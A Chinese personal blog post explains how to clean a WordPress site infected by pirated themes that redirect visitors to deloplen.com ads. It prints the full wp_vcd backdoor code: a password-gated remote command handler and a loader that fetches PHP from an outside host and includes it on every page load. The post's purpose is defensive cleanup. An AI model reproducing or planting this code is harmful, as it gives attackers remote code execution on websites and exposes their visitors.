wordpress被植入广告跳转deloplen.com的终极解决方法

wordpress解決deloplen廣告跳轉問題

前段时间,折腾主题,就在外国wordpress主题网站下载了一些需要收费的,免费主题,不料,感染了恶意代码,恶意代码就是一些广告,植入在你的主题:functions.php里开头部分,当访客访问你的网站,会弹窗出来一个广告页面跳转到这个网址:deloplen.com 起先我以为是插件的问题,中文搜索,并没有找到源头,于是就谷歌翻译,上外网找到了答案,深受其害的不止我一个人。

通常被感染的主题的functions.php安装如下代码:这个时候ctrl+f 搜索关键字:“ wp_vcd”或“ wp-tmp”删除掉这段代码,保存。

惡意代碼如下:

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '220c580cc80d7d449f04533fc8f68c79'))
    {
    $div_code_name = "wp_vcd";
    switch ($_REQUEST['action'])
        {
    case 'change_domain';
    if (isset($_REQUEST['newdomain']))
        {
        if (!empty($_REQUEST['newdomain']))
            {
            if ($file = @file_get_contents(__FILE__))
                {
                if (preg_match_all('/$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i', $file, $matcholddomain))
                    {
                    $file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
                    @file_put_contents(__FILE__, $file);
                    print "true";
                    }
                }
            }
        }

    break;

default:
    print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }

die("");
}

if (!function_exists('theme_temp_setup'))
    {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (!is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false)
        {
        if ($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=" . $path))
            {
            function theme_temp_setup($phpCode)
                {
                $tmpfname = tempnam(sys_get_temp_dir() , "theme_temp_setup");
                $handle = fopen($tmpfname, "w+");
                fwrite($handle, "<?php\n" . $phpCode);
                fclose($handle);
                include $tmpfname;

                unlink($tmpfname);
                return get_defined_vars();
                }

            extract(theme_temp_setup($tmpcontent));
            }
        }
    }

?>

如果你再刷新,这段代码仍在这里面,这说明,wordpress程序其他文件也被感染了,最好的方法就是:更新更新更新,点仪盘表更新,覆盖旧文件。

终极解决方案,亲测有效:无需进行大量此类更改,只需执行以下两个步骤>>

1>仪表板>更新>“立即重新安装”
这将重新安装WordPress的最新版本,覆盖受感染的wp核心文件。

2>现在,在编辑器中打开theme functions.php文件,并删除恶意代码段,(活动主题中,编辑您的functions.php文件,并删除恶意软件插入的所有其他代码。您可以搜索“ wp_vcd”或“ wp-tmp”字样以找到代码。然后单击保存。)

全部做完!这次它将接受文件更改,以从functions.php文件中删除受感染的代码。

有用的链接:https://stackoverflow.com/questions/46219263/php-code-in-functions-php-of-all-wordpress-websites-on-my-shared-hosting

检测主题是否有病毒的网站:

最后告诉大家,千万不要尝试去下载来路不明的主题了,谁知道里面被植入了什么病毒插件啥的。

随机文章

About 宁乐熙 201 Articles
我是宁乐熙,推崇极简生活,热爱大自然,本博客主要记录并分享个人旅行游记、攻略等。本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

Be the first to comment

Leave a Reply

Your email address will not be published.


*